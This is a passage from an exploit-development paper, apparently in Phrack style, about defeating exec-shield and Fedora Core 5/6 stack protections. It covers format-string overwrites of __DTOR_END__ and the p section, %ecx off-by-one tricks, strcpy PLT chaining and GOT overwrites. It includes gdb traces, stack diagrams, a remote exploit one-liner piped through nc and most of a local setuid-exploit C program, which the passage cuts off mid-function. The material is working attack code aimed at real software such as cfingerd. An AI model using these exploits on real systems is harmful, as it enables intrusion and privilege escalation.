when you call the function many times. It is true that these overwritten
heap area always can have data entry structure and some critical information.
Thus, it is difficult to call functions many times freely. Actually, there is
some section tables after __DTORS_END__ section as you see below.
...
+-------------------------+
| __DTOR_END__ |
+-------------------------+
| __JCR_LIST__ |
+-------------------------+
| _DYNAMIC |
+-------------------------+
| _GLOBAL_OFFSET_TABLE_ |
+-------------------------+
| data_start |
+-------------------------+
...
If you repeat more __do_global_dtors_aux() function to search information in
stack, the chance of overwriting important entry such as
_GLOBAL_OFFSET_TABLE_ will be greater. This eventually causes some bad effect
to program flow
The technique we are going to talk about is to use empty space on heap by
changing the position of section arbitrarily not by using particular
__DTOR_END__ section that declared while compile. Let's look at
__do_global_dtors_aux() again.
Fedora core 6 glibc 2.5, gcc 4.1.1-30:
<__do_global_dtors_aux+6>: cmpb $0x0,0x8049574 (1) check whether 0x8049574 is 0
<__do_global_dtors_aux+13>: je 0x804831b <__do_global_dtors_aux+27>
<__do_global_dtors_aux+15>: jmp 0x804832d <__do_global_dtors_aux+45>
<__do_global_dtors_aux+17>: add $0x4,%eax
<__do_global_dtors_aux+20>: mov %eax,0x8049570 (3) save 4bytes added %eax into 0x8049570
<__do_global_dtors_aux+25>: call *%edx
<__do_global_dtors_aux+27>: mov 0x8049570,%eax (2) copy the value in 0x8049570 to %eax
<__do_global_dtors_aux+32>: mov (%eax),%edx
<__do_global_dtors_aux+34>: test %edx,%edx
<__do_global_dtors_aux+36>: jne 0x8048311 <__do_global_dtors_aux+17>
The first procedure is comparing 0x08049574 with 0. This section is completed
section and has NULL value naturally. Then save the value inside 0x8049570 to
%eax register. This is p section which has the address of __DTOR_END__
section. In short, %eax register now has __DTOR_END__ section address.
Finally, copy %eax register + 4 addresses to p section.
Now, we can change the position of __DTOR_END__ section anywhere we want.
Attack process will be like this:
(1) Copy the content of p section into empty space in heap.
(2) Overwrite p section+4 (completed section) with null to evade comparison.
(3) Allocate a function that you want to call to empty space in heap
(gdb) br __do_global_dtors_aux
...
(gdb) x/8 0x08049800 ; empty space in heap
0x8049800: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049810: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 2, 0x08048306 in __do_global_dtors_aux ()
(gdb) set *0x08049800=0x828282
(gdb) x 0x08049800
0x8049800: 0x00828282 ; input garbage value into fake __DTOR_END__ address
(gdb) set *0x8049570=0x08049800
(gdb) x 0x8049570
0x8049570: 0x08049800 ; Change the content of p section
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00828282 in ?? ()
(gdb)
It is not a hard job to insert desired value into some place when you do
format string attack.
Unfortunately, do_system() function format string attack mentioned at
chapter 4.1 must use __DTOR_END__ section to exploit. So, it was impossible
to attack till the program is re-compiled if __DTOR_END__ section had
terminator character, null character and special character.
But, the p section changing skill that we just talked about doesn't need
__DTOR_END__ changed. It makes __DTOR_END__ section where you want. Thus, you
can exploit the system without any trouble. Look example code to find more.
----[ 4.6 - Format string in classic shellcode library area
This is not an efficient attack technique but I want to talk about this
because I want to prove that shellcode is still executable through library
area. The core of this technique is overwriting shellcode on library area by
using format string technique.
To make this work, you should enter library address with null into
environment variable or argument and brute-force the changing memory address
by $-flag.
These are the attack procedure:
(1) Find useable library address.
(2) Input the library address which is for under 16mb as a program argument
and find stack by using $-flag
(3) Enter little shellcode into library by format string technique
(4) Overwrite the library address that holds shellcode with __DTOR_END__
address of the target program.
These are the exploit procedure:
(1) Find $-flag value to overwrite __DTOR_END__ section with certain value.
(2) Find $-flag value to overwrite Shellcode into library address.
(3) Get library address and __DTOR_END__ address needed for attack.
(4) The address of __DTOR_END__ and format string code that overwrites
shellcode on somewhere in library, and format string code that overwrites
shellcode's address on __DTOR_END__'s address are going into the first
argument. And since second argument, library addresses are saved.
(5) Try to attack with increasing PAD value to correct the align with library
address we input continually.
Find more in example code.
----[ 4.7 - Example code
We have seen a few possible technique of format string under exec-shield
environment. Some of appendix code at chapter 6 is to prove those 4 attack
skills I have mentioned.
First, 0x82-remote_do_system.sh script provided at chapter 6.5 is about the
remote attack technique mentioned at chapter 4.1. Second,
0x82-p_section_overwrite.c code at 6.6 is for __do_global_dtors_aux() +
setuid() + do_system() attack at 4.3 and p section overwrite at 4.5. Third,
0x82-dtors_execv_ex.c at 6.7 is about the __do_global_dtors_aux() +
exec family attack technique mentioned at 4.4. Finally, Shellcode attack code
at 4.6 is shown at 6.8 0x82-library_terror/part_one.c,
0x82-library_terror/part_two.c
--[ 5 - How to exploit since Fedora Core 5 system
Those vulnerabilities that I am going to tell you through chapter 5.1 and
5.2 do not seem realistic. I mean , there is almost no chance to occur these
vulnerabilities. Because only the prolog and epilog of the main() have been
changed. It seems like rough mixture of StackGuard and Stackshield(7.6).
On the other hands, at chapter 5.3 we are going to see moving stack pointer
over 4bytes which is mentioned at chapter 3.1 and also can be efficient when
you do overflow attack on real application at remote.
----[ 5.1 - Changes on main() function prolog and epilog
Basic algorithm is pretty similar to StackShield. But it keeps return
address in stack not in heap, and puts %ecx register which does similar job
with canary of StackGuard near frame pointer to prevent the return address
from alteration.
* Changed main() prolog since Fedora core 5:
(1) lea 0x4(%esp),%ecx
(2) and $0xfffffff0,%esp
(3) pushl 0xfffffffc(%ecx)
(4) push %ebp ; prolog of normal main()
(5) mov %esp,%ebp
(6) push %ecx
(1) Insert address of %esp+4 into %ecx register.
(2) Change %esp register address by doing "and" calculation. (%esp & -16)
(3) Save return address at %ecx - 4 in recent stack.
(4) Save %esp register of previous function in recent stack.
(5) Set frame pointer for main() by duplicating %esp into %ebp.
(6) Save %ecx register in recent stack and make it does same role with canary.
After all these process stack will be:
^
| Address grows this way
...
+------------------------------------+ <- Original %esp register address: procedure (1) |
| __libc_start_main() return address | |
+------------------------------------+ |
| ... | |
+------------------------------------+ <- %esp register moved by procedure (2) |
| __libc_start_main() return address | <- %ecx -4 saved by procedure (3) |
+------------------------------------+ |
| previous base frame pointer | <- %ebp register of previouse function save by procedure (4) |
+------------------------------------+ <- %ebp register moved by procedure (5) |
| %ecx register | <- %ecx register saved by procedure (6) |
+------------------------------------+ <- %esp register after all those 6 procedures |
... V
| Stack grows this way
V
These are the eplilog procedures.
Epilog of main() since F/C 5:
(1) pop %ecx
(2) pop %ebp
(3) lea 0xfffffffc(%ecx),%esp
(4) ret
(1) Pop %ecx register from stack.
(2) Pop %ebp (previous base frame pointer) from stack.
(3) Move %esp register to original return address by putting %ecx - 4 address
in %esp.
(4) Go back to __libc_start_main() function when %eip is popped by ret command.
In short, it is impossible to change return address with ordinary stack
overflow because of %ecx register which does the same role with canary.
----[ 5.2 - Exploit by using off-by-one exploit with %ecx register
Because It is extremely difficult to guess %ecx register, we overwrite the
last 1byte with NULL. Now, we need to enter address which will be return
address into %ecx-4 whose 1byte has been changed into null. It is similar to
frame pointer that changes return address indirectly. (7.5)
Enter ret code from address will be return address to 4byte before the end
of usable space. And make the last 4byte to execute main() epilog twice.
We execute epilog one more time because it moves %esp register near argument
pointer and environment variable pointer. (Similar concept mentioned at
chapter 3.4)
By making %ecx register to have environment variable pointer when it is
restored on main() epilog, we can make %ecx-4 which is the position of %esp
register be declared environment variable code.
Brief of attack is below.
Making attack code:
Fill all local variable but last 4byte with ret code. By doing so, we can
make return address ret code address by %ecx register off-by-one technique.
If we make stack like the picture below, We can do main() epilog twice and
call execve() function refer to the environment variable below.
^
| Stack grows this way
...
+-------------------+
| ret(pop %eip) |: Fill overflowed local variable with
+-------------------+
| ret(pop %eip) |
+-------------------+
| ret(pop %eip) |
+-------------------+
| ret(pop %eip) |
+-------------------+
| ret(pop %eip) |: (2) Pop %eip from forged %ecx - 4
+-------------------+ <<----------------------------------------------------------------+
| ret(pop %eip) |: (3) move %esp by 4bytes |
+-------------------+ |
| ret(pop %eip) |: (3) move %esp by 4bytes |
+-------------------+ |
| ret(pop %eip) |: (3) move %esp by 4bytes |
+-------------------+ |
| ... |: (3) move %esp by 4bytes |
+-------------------+ |
| main() epilog |: (4) recall epilog of main(). ----------------------+ |
+-------------------+ | |
| 0x??????00 |: (1) The last byte of %ecx register become null, --------------+--+
+-------------------+ |
| ... | |
+-------------------+ |
| argument0 pointer |: argument pointer starts here. |
+-------------------+ |
| argument1 pointer | |
+-------------------+ |
| null(0x00000000) |: argument pointer ends here. |
+-------------------+ |
| environ0 pointer |: environment variable pointer starts here. |
+-------------------+ |
| environ1 pointer | |
+-------------------+ |
| environ2 pointer | |
+-------------------+ |
| environ3 pointer | |
+-------------------+ |
| ... | |
+-------------------+ |
| environ25 pointer | |
+-------------------+: 27th environment variable pointer |
| environ26 pointer | <<-------------------------------------------------------------+
+-------------------+: (5) pop %ecx into forged %esp register. ----------------------------+
| environ27 pointer | |
+-------------------+ |
| ... | |
+-------------------+ |
... |
| stack grows this way |
V |
|
Making environment variables: |
|
Let's say there is a stack overflow vulnerability in a program that uses |
array size of 256. in this case, when we call main() epilog continually %ecx |
register points 27th environment variable¡¯s address. It recognizes %ecx-4 |
as a return address, so 27th env variable -4 which means 26th env variable |
will be considered as a return address. You can see there is execve() at the |
position of 26th env variable. |
|
... |
+------------------+ |
| execve() addr |: execve() function address (26th env variable which will be %ecx - 4) |
+------------------+ |
| "XXXX" |: 4byte dummy (27th env variable: environ26) <<------------------------+
+------------------+
| "/bin/sh" addr |: will be the first argument of execve() (input "sh" address in library)
+------------------+
| '\0' |: will be the second argument of execve() (0x00000000)
+------------------+
| '\0' |
+------------------+
| '\0' |
+------------------+
| '\0' |
+------------------+
| '\0' |: will be the third argument of execve() (0x00000000)
+------------------+
| '\0' |
+------------------+
| '\0' |
+------------------+
| '\0' |
+------------------+
...
Execution of shellcode through exeve() and environment variable pointer is
similar to the technique mentioned at 3.4. Find more in example code.
----[ 5.3 - Overflow exploit overwriting __DTOR_END__ section
On this chapter, we are going to talk about getting shell by overflow
since F/C 5. If you could not find a good condition to
attack with only ret code, then you should look this chapter.
We can move stack pointer by %esp register moving technique at chapter 3.1.
fedora core 6 glibc 2.5, gcc 4.1.1-30:
<__libc_csu_init>:
...
add $0x1c,%esp
pop %ebx
pop %esi
pop %edi ; move %esp 12bytes from here
pop %ebp
ret ; pop %eip
<__do_global_ctors_aux>:
...
add $0x4,%esp
pop %ebx ; move %esp 12bytes from here
pop %ebp
ret ; pop %eip
The main idea of this chapter is deeply related to multiple calling of copy
function from Nergal(7.7). It is a technique that puts address of function that
you desire to execute(such as system function, do_system function and exec family)
into __DTOR_END__ like format string attack.
First, we will see attack through do_system function. This technique doesn't
use stack at all. On the others hands, system function and exec family function
need to use stack to attack the system.
Attack process of do_system() function:
(1) Find 1byte of address of do_system() function and sh string from program.
And enter them in __DTOR_END__ section.
(2) Develop the way to move %esp by 12bytes by using plt copy function,
__do_global_ctors_aux() function epilog, and the address we found
previously. Eventually, these codes are used for copying do_system()
address and "sh" string to __DTOR_END__ section.
<- Stack grows this way Address grows this way ->
+------------+------+-----------+-----------+------------+------+-----------+-----------+-----+
| strcpy plt | eplg | func_arg1 | func_arg2 | strcpy plt | eplg | func_arg1 | func_arg2 | ... |
+------------+------+-----------+-----------+------------+------+-----------+-----------+-----+
^ ^
| |
+----------------------------------------+
__do_global_ctors_aux()'s epilog (12byte)
(3) After making copy function, make %eip register that popped last have the
address of __do_global_dtors_aux() function address. if you execute
__do_global_dtors_aux() like this, do_system() copied to __DTOR_END__
section would be called by command "call *%edx" and, finally, will spawn
a shell.
More details are below:
fedora core 6 glibc 2.5, gcc 4.1.1-30:
Making attack code:
We will call strcpy() (copy function) several times by using 12byte %esp
move technique. Finding 1byte for each do_system() function address and
"sh" string in heap is still bugging but not a big deal.
^
| Stack grows this way
...
+--------------------------------+
| buffer |: overflowed local variables
+--------------------------------+
| strcpy() plt |: Get by ascii-armor by calling plt copy function
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+0 |
+--------------------------------+
| (&do_system()>>0)&0xff |: 1byte of do_system() address found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+1 |
+--------------------------------+
| (&do_system()>>8)&0xff |: 1byte of do_system() address found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+2 |
+--------------------------------+
| (&do_system()>>16)&0xff |: 1byte of do_system() address found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+3 |
+--------------------------------+
| (&do_system()>>24)&0xff |: 1byte of null of do_system() address found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+4 |
+--------------------------------+
| 's' |: 1byte of 'sh' string found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+5 |
+--------------------------------+
| 'h' |: 1byte of 'sh' string found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+6 |
+--------------------------------+
| null(0x00) |: 1byte null found in program's text area
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() epilog |
+--------------------------------+
| __DTOR_END__+7 |
+--------------------------------+
| null(0x00) |: 1byte null found in program's text area
+--------------------------------+
| __do_global_dtors_aux() |: called by ret(pop %eip) code
+--------------------------------+
...
| Address grows this way
V
Buffer will be like this when the attack succeeds:
Result of debugging fedora core 6 glibc 2.5, gcc 4.1.1-30 exploit:
(gdb) br *do_system
Breakpoint 1 at 0xb517d0
(gdb) r
...
Breakpoint 1, 0x001457d0 in do_system () from /lib/libc.so.6
(gdb) print do_system
$1 = {<text variable, no debug info>} 0x1457d0 <do_system>
(gdb) x &__JCR_LIST__-1
0x80494c8 <__DTOR_END__>: 0x001457d0 ; do_system() function address
(gdb)
0x80494cc <__JCR_LIST__>: 0x00006873 ; 'sh' string
(gdb)
0x80494d0 <_DYNAMIC>: 0x00000001
(gdb)
0x80494d4 <_DYNAMIC+4>: 0x00000010
(gdb) x $eax
0x80494cc <__JCR_LIST__>: 0x00006873
(gdb)
This time, we will talk about attack technique which uses system function
and exec family function. These functions need stack to do their job.
Attack Process:
(1) Find 1byte of address of function that you wish to run. This 1byte
will be entered into __DTOR_END__ section.
(2) As I mentioned before, copy the function address to __DTOR_END__ section
by using plt function and moving %esp by 12bytes. At this moment, you
can create desired command on heap ,just like do_system() attack, or
you also can attack only using symlink.
(3) Let the %eip register popped last have address right after
__do_global_dtor_aux() function prolog. This will help stack pointer to
be the same and we can make function argument easily because of this.
fedora core 6 glibc 2.5, gcc 4.1.1-30:
Making attack code:
It uses same technique with moving %esp by 12bytes previously introduced.
It calls strcpy() function several times. This function will find 1byte of
'sh' string and 1byte of address of execve() function from heap and copy this.
^
| Stack grows this way
...
+--------------------------------+
| buffer |: Will be overflowed local variable
+--------------------------------+
| strcpy() plt |: Get by ascii-armor by using plt call.
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+0 |: dest
+--------------------------------+
| (&execve()>>0)&0xff |: src - 1byte of execve() address found from text area of the program
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+1 |
+--------------------------------+
| (&execve()>>8)&0xff |: 1byte of execve() address found from text area of the program
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+2 |
+--------------------------------+
| (&execve()>>16)&0xff |: 1byte of execve() address found from text area of the program
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+3 |
+--------------------------------+
| (&execve()>>24)&0xff |: 1byte of null in execve() address found from text area of the program
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+4 |
+--------------------------------+
| 's' |: 1byte of 'sh' string found from text area of the program
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+5 |
+--------------------------------+
| 'h' |: 1byte of 'sh' string found from text area of the program
+--------------------------------+
| strcpy() plt |
+--------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------+
| __DTOR_END__+6 |
+--------------------------------+
| null(0x00) |: 1byte of null found from text area of the program
+--------------------------------+
| __do_global_dtors_aux()+6 |: Address right after __do_global_dtors_aux() prolog
+--------------------------------+
| address of 'sh' string |: the first argument of execve()
+--------------------------------+
| any null value address on heap |: the second argument of execve()
+--------------------------------+
| any null value address on heap |: the third argument of execve()
+--------------------------------+
...
| Address grows this way
V
After attack buffer will be like this:
Debug report of fedora core 6 glibc 2.5, gcc 4.1.1-30 exploit:
(gdb) r
Starting program: /tmp/local_ex_test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
0x0019dbff in ?? ()
(gdb) x 0x08049488
0x8049488: 0x0019dbff ; Address of execve() overwritten on __DTOR_END__ section
(gdb)
0x804948c: 0x00006873 ; 'sh' string
(gdb)
0x8049490: 0x00000000
(gdb) x $eax
0x804948c: 0x00006873
(gdb) x $esp
0xbfe2810c: 0x0804831b
(gdb)
0xbfe28110: 0x0804948c ; the first argument of execve()
(gdb)
0xbfe28114: 0x08048008 ; the second argument of execve()
(gdb)
0xbfe28118: 0x08048008 ; the third argument of execve()
(gdb) x 0x0804948c
0x804948c: 0x00006873
(gdb) x 0x08048008
0x8048008: 0x00000000
(gdb) x 0x08048008
0x8048008: 0x00000000
(gdb)
As we can control the stack pointer and the value, we can make arguments
of execve() as we want. In addition, "/bin/sh" code in library is located
at address under 16 mb ,so with some function that uses a few argument
such as system() it can be used for remote attack. exec family function can
copy 'sh' string on heap and symlink with a program to execute a shell
just like do_system() attack.
To make the exploit more adaptable to other systems, we may need to find
address of do_system() and "sh" string from ELF header or the starting of the
program's text area. Surely, the binaries compiled at similar environment
would have same static and same address.
Here is a little tip. If you want to attack a real application, then you
should look for these functions below. Names of these functions are listed
on heap, so you can get 'sh' string from that.
bdflush()
tcflush()
fflush()
[root@localhost src]# objdump -d cfingerd | grep '<fflush@plt>:'
08048ff0 <fflush@plt>:
[root@localhost src]# gdb in.cfingerd -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) x/s 0x08048705
0x8048705: "__gmon_start__"
(gdb)
0x8048714: "libc.so.6"
(gdb)
0x804871e: "_IO_stdin_used"
(gdb)
0x804872d: "socket"
(gdb)
0x8048734: "fflush"
(gdb) x/s 0x8048738
0x8048738: "sh"
(gdb)
Thus, we, now, can make highly adaptable exploit code for a specific
application. Refer example code for more details.
----[ 5.4 - Overflow exploit overwriting GLOBAL OFFESET TABLE
Technique on this chapter is similar to function execute skill at chapter 5.3.
When you cannot use _do_global_dtor_aux() function or you don't know
the address of both p section and __DTOR_END__, you can try this technique.
I will not talk details about plt and got. Our job is to find useful
stuff from inside of program and analyze that.
Generally, plt is made like this
fedora core 6 glibc 2.5, gcc 4.1.1-30:
<func@plt>:
jmp *_GLOBAL_OFFSET_TABLE_
push $n
jmp _dl_runtime_resolve
If we call func's plt after changing its _GLOBAL_OFFSET_TABLE_ section to
execve(), it would be:
jmp execve();
__do_global_dtors_aux() function stores its %eip register as a return address,
because the function uses "call execve()" command. But, on the contrary,
when you attack through GOT section, unlike call function, it doesn't store
return address as a stack pointer. So we need to insert 4bytes of dummy
on behalf of %eip register. It is a very small difference but also very
critical thing for a attacker to make arguments for related function.
fedora core 6 glibc 2.5, gcc 4.1.1-30:
Making attack code:
Change GOT section for __libc_start_main() with address of execve() function
by multiple plt calling. It is same as moving %esp by 12byte technique at
chapter 5.3. Anyway, It will execute desired function by referring
it's stack pointer when you call the function¡¯s plt.
^
| Stack grows this way
...
+--------------------------------------------+
| strcpy() plt |
+--------------------------------------------+
| __do_global_ctors_aux() eiplog |
+--------------------------------------------+
| __libc_start_main() _GLOBAL_OFFSET_TABLE+0 |
+--------------------------------------------+
| (&execve()>>0)&0xff |
+--------------------------------------------+
| strcpy() plt |
+--------------------------------------------+
| ... abbreviation ... |
+--------------------------------------------+
| __libc_start_main() plt |: __libc_start_main() function's plt
+--------------------------------------------+
| dummy 4byte |: you must enter this because execve() function is called by jmp
+--------------------------------------------+
| 'sh' string address |: the first argument of execve()
+--------------------------------------------+
| Null value address on heap |: the second argument of execve()
+--------------------------------------------+
| Null value address on heap |: the third argument of execve().
+--------------------------------------------+
...
| Address grows this way
V
After the attack buffer will be:
Debug report for fedora core 6 glibc 2.5, gcc 4.1.1-30 exploit:
(gdb) r
Starting program: /tmp/local_ex_test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
0x0019dbff in ?? ()
(gdb) x 0x08049570
0x8049570: 0x0019dbff ; execve() function address overwritten on __libc_start_main GOT section
(gdb)
0x8049574: 0x00006873 ; 'sh' string
(gdb) x $esp
0xbfa3b520: 0x82828282 ; dummy 4byte
(gdb)
0xbfa3b524: 0x08049574 ; the first argument of execve()
(gdb)
0xbfa3b528: 0x08048008 ; the second argument of execve()
(gdb)
0xbfa3b52c: 0x08048008 ; the third argument of execve()
(gdb) x 0x08049574
0x8049574: 0x00006873
(gdb) x 0x08048008
0x8048008: 0x00000000
(gdb) x 0x08048008
0x8048008: 0x00000000
(gdb)
Compare to prior attack technique at chapter 5.3, there are some differences.
First, it changes GOT section to execve() function address. second, it uses
plt to jump to that function. third, it must have 4bytes of dummy value.
You can find more in example code.
----[ 5.5 - Example code
I have mentioned several changes and exploit technique for that since
F/C 5. The appendix attached at chapter 6.9 is to prove the contents of
chapter 5.1. %ecx off-by-one exploit is 0x82-x_strcpy.c code provided at 6.9.
I have attached it with the debugging result please take a glance at that
too. Remote exploit code for chapter 5.3 is 0x82-remote_x_strcpy.c at 6.10.
0x82-local-x_execve.c code at chapter 6.11 is for execve exploit.
At last, 0x82-local_got_execve.c at chapter 6.12 is for GOT exploit at
chapter 5.4.
--[ 6 - Appendix
Since this chapter I will try to show you some example codes to prove
what I have been saying from the start of this paper. I, sometimes, will put
some note on the code. These notes can be used for real exploit and also
can be JUST for Proof-of-Concept.
----[ 6.1 - ret(pop %eip) remote stack overflow exploit
This is the code for POC 2006 conference. I didn't put enough effort and
time for this script. I admit it! This is very uncomfortable to debug.
It is only to test on F/C 3.
-- rvuln.c --
#include <stdio.h>
int main(int argc,char *argv[])
{
char buf[8];
gets(buf);
}
--
I have set rvuln program as a fido service deamon through setting xinetd.
below is simple exploit script.
-- 0x82-remote_ret.sh --
#!/bin/sh
#
# Remote ret(pop eip) exploit
# by Xpl017Elz
#
# 0x08048394 <main+44>: ret
#
(printf "aaaabbbbx;sh\x94\x83\x04\x08\x94\x83\x04\x08\x94\x83\x04\x08\x94\x83\x04\x08\x94\x83\x04\
\x08\xc0\xc7\xee\xf6";cat) | nc localhost fido
#
# EOS
#
--
You can guess ret code from remote, or can find by doing this.
--
[x82@localhost tmp]$ objdump -d rvuln | grep ret
804828e: c3 ret
8048304: c3 ret
8048339: c3 ret
8048365: c3 ret
8048394: c3 ret
80483e9: c3 ret
804842d: c3 ret
8048453: c3 ret
804846d: c3 ret
[x82@localhost tmp]$
--
----[ 6.2 - ret(pop %eip) + symlink local stack overflow exploit
This exploit code is tested on F/C 4. This can also attack F/C 5 and 6.
To test the code, The target program has to be setuid. (It doesn't matter
whether it is root or not)
-- vuln.c --
int main(int argc,char *argv[])
{
char buf[256];
strcpy(buf,argv[1]);
return 0;
}
--
Attack code is below:
-- 0x82-break_FC4.c --
/*
**
** Code name: 0x82-break_FC4.c
** Description: Fedora Core Linux 4 based stack overflow exploit (POC-local)
** --
**
** This succeeds in attack in random library environment.
** It can execute shell easily through magic return address.
**
** It executes execve() function through __libc_csu_init()'s some area.
** When it's put to '$esp+0xc', our exploit can succeed.
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#define GDB "/usr/bin/gdb"
#define LDD "/usr/bin/ldd"
#define GCC "/usr/bin/gcc"
#define GREP "/bin/grep"
#define OBJDUMP "/usr/bin/objdump"
#define AWK "/bin/awk"
#define SED "/bin/sed"
#define HEAD "/usr/bin/head"
#define MAGIC_LIB_ADDR (0x00111000+0x0008d1ac) /* It's my system magic address */
void safe_exit();
int banrl();
unsigned long __get_random_library(char *p);
unsigned long __get_random_library_gdb_version(char *p);
unsigned long __get_ret_command(char *p);
int make_sh_link(char *p);
char link_buf[256];
void safe_exit()
{
unlink(link_buf);
unlink("gdb-script");
fprintf(stdout," [*] Ok, exploit end.\n\n");
exit(-1);
}
int banrl()
{
fprintf(stdout,"\n 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local)\n\n");
}
int main(int argc,char *argv[])
{
struct stat tg_st;
pid_t pid;
unsigned char atk_buf[0xffff];
unsigned long __execve_addr_gdb_type=0;
unsigned long __execve_addr=0;
unsigned long __ret_code=0;
int i=0,j=0;
signal(SIGINT,safe_exit);
signal(SIGTSTP,safe_exit);
(int)banrl();
if(argc<5)
{
fprintf(stdout," Usage: --\n %s [program path] [buffer size] [brute-force count] [ret count]\n",argv[0]);
fprintf(stdout," Ex> %s ./strcpy 8 30 9\n --\n\n",argv[0]);
exit(-1);
}
fprintf(stdout," [+] get target program information.\n");
if(stat(argv[1],&tg_st)!=0)
{
fprintf(stderr," [-] %s: target program error.\n\n",argv[1]);
exit(-1);
}
#define CHK_BIT(m,S) (((m)&S)==S)
if(CHK_BIT(tg_st.st_mode,S_ISUID)||CHK_BIT(tg_st.st_mode,S_ISGID))
{
fprintf(stdout," [*] OK, It's setuid or, setgid program.\n");
}
else {
fprintf(stderr," [-] %s: It's not setuid or setgid program.\n\n",argv[1]);
exit(-1);
}
fprintf(stdout," [+] get execve() address.\n");
memset((u_char *)atk_buf,0,sizeof(atk_buf));
__execve_addr=__get_random_library(argv[1]);
__execve_addr_gdb_type=__get_random_library_gdb_version(argv[1]);
fprintf(stdout," [+] normal user library execve() address: %p\n",__execve_addr);
fprintf(stdout," [+] set user id library execve() address: %p\n",__execve_addr_gdb_type);
__execve_addr=(MAGIC_LIB_ADDR);
fprintf(stdout," [*] magic library execve() address: %p\n",__execve_addr);
fprintf(stdout," [+] get ret code address.\n");
__ret_code=__get_ret_command(argv[1]);
fprintf(stdout," [+] ret code address: %p\n",__ret_code);
fprintf(stdout," [+] ret code count: %d\n",atoi(argv[4]));
make_sh_link(argv[1]);
fprintf(stdout," [+] make exploit code.\n");
for(i=0;i<atoi(argv[2]);i++)
{
atk_buf[i]='X';
}
#ifdef FOMIT_FRAME_POINTER
/* -fomit-frame-pointer compile */
fprintf(stdout," [+] target program is -formit-frame-pointer compile mode.\n");
#else
/* frame pointer */
*(long *)&atk_buf[i]=0x82828282;
i+=4;
#endif
for(j=0;j<atoi(argv[4]);j++)
{
*(long *)&atk_buf[i]=__ret_code; /* It's default (main function based normal overflow) */
i+=4;
}
*(long *)&atk_buf[i]=__execve_addr;
i+=4;
fprintf(stdout," [+] exploit size: %d\n",strlen((const char *)atk_buf));
fprintf(stdout," [+] Brute-Force count: %d\n",atoi(argv[3]));
for(i=0;i<atoi(argv[3]);i++)
{
printf(" [%02d] Brute-force library addr.\n",i);
usleep(50000);
if((pid=fork())==0){
execl(argv[1],argv[1],atk_buf,0);
exit(-1);
}
wait(&pid);
}
unlink(link_buf);
unlink("gdb-script");
fprintf(stdout," [*] exploit end.\n\n");
exit(-1);
}
unsigned long __get_ret_command(char *p)
{
char buf[256];
FILE *fp;
memset((char *)buf,0,sizeof(buf));
snprintf(buf,sizeof(buf)-1,
"%s -D %s | %s -w ret | %s -1 | %s -F\" \" {'print $1'}",OBJDUMP,p,GREP,HEAD,AWK);
if((fp=(FILE *)popen(buf,"r"))==NULL)
{
fprintf(stderr," [-] popen() error\n");
exit(-1);
}
memset((char *)buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
pclose(fp);
return (strtoul(buf,0,16));
}
unsigned long __get_random_library(char *p)
{
char buf[256];
FILE *fp;
char s[16];
long execve_addr=0;
long library_addr=0;
memset((char *)buf,0,sizeof(buf));
memset((char *)s,0,sizeof(s));
snprintf(buf,sizeof(buf)-1,
"%s %s | %s libc.so.6 | %s -F\"(\" {'print $2'}",LDD,p,GREP,AWK);
if((fp=(FILE *)popen(buf,"r"))==NULL)
{
fprintf(stderr," [-] popen() error\n");
exit(-1);
}
memset((char *)buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
pclose(fp);
library_addr=strtoul(buf,0,0);
memset((char *)buf,0,sizeof(buf));
snprintf(buf,sizeof(buf)-1,
"%s -T /lib/libc.so.6 | %s -w execve | %s -F\" \" {'print $1'}",OBJDUMP,GREP,AWK);
if((fp=(FILE *)popen(buf,"r"))==NULL)
{
fprintf(stderr," [-] popen() error\n");
exit(-1);
}
memset((char *)buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
pclose(fp);
execve_addr=strtoul(buf,0,16);
return (library_addr+execve_addr);
}
int make_sh_link(char *p)
{
char gcc_buf[256];
char srcname[256];
FILE *fp;
char s[16];
int i=0,j=0,k=0;
memset((char *)gcc_buf,0,sizeof(gcc_buf));
memset((char *)srcname,0,sizeof(srcname));
memset((char *)s,0,sizeof(s));
